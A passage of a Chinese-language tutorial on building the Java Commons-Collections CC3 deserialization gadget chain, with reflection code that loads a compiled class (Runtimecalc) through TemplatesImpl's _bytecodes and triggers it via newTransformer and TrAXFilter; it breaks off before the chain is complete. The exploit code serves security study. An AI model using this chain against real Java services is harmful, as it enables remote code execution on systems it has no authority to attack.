我们知道ClassLoader在加载的类的时候,最终是通过defineClass加载字节码文件内容 。
利用这种方式,直接的赋值传参内容是字节码,就可以达到恶意类加载的序列化和反序列化 。
Templateslmpl类中getTransletInstance方法中,在_class[_transletIndex].newInstance()执行前,还有一段如下代码
if (_class == null) defineTransletClasses()
假设我们之前不对_class赋值,查看defineTransletClasses做了什么 。
private void defineTransletClasses()throws TransformerConfigurationException {//需要给_bytecodes赋值if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;//为_class赋值,长度为_bytecodes的长度_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {//_bytecodes[0]赋值为字节码内容赋值给_class[0]_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}}}
private byte[][] _bytecodes = null;
_bytecodes是一个byte二维数组,我们将byte[]类型的字节码赋值给_bytecodes[0]
这里就直接赋值字节码内容了
byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));
这样在defineTransletClasses被调用的时候
执行_class[i] = loader.defineClass(_bytecodes[i]);
_class[0]将会被赋值为loader.defineClass(code)
由于_tfactory需要调用,所以给_tfactory也赋值
最终实现代码如下:
TemplatesImpl templates = new TemplatesImpl();Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");Field name = templates_cl.getDeclaredField("_name");name.setAccessible(true);name.set(templates,"xxx");//注释不给_class赋值,满足_class == null,defineTransletClasses得到调用//Field aClass = templates_cl.getDeclaredField("_class");//aClass.setAccessible(true);//aClass.set(templates,new Class[]{Runtimecalc.class});Field transletIndex = templates_cl.getDeclaredField("_transletIndex");transletIndex.setAccessible(true);transletIndex.set(templates,0);//加载字节码byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\cc3\\Runtimecalc.class"));byte[][] codes = {code};//给_bytecodes赋值Field bytecodes = templates_cl.getDeclaredField("_bytecodes");bytecodes.setAccessible(true);bytecodes.set(templates,codes);//要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap//_tfactorys是TransformerFactoryImpl类型的TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();Field tfactory = templates_cl.getDeclaredField("_tfactory");tfactory.setAccessible(true);tfactory.set(templates,transformerFactory);templates.newTransformer();
三、让newTransformer得到执行
TrAXFilter类的构造方法会调用newTransformer
public TrAXFilter(Templates templates)throwsTransformerConfigurationException{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();}
TrAXFilter trAXFilter = new TrAXFilter(templates);
但是TrAXFilter并不实现Serializable接口,无法序列化,需要通过反射调用
在cc1中反射执行最终是通过InvokerTransformer的transform来实现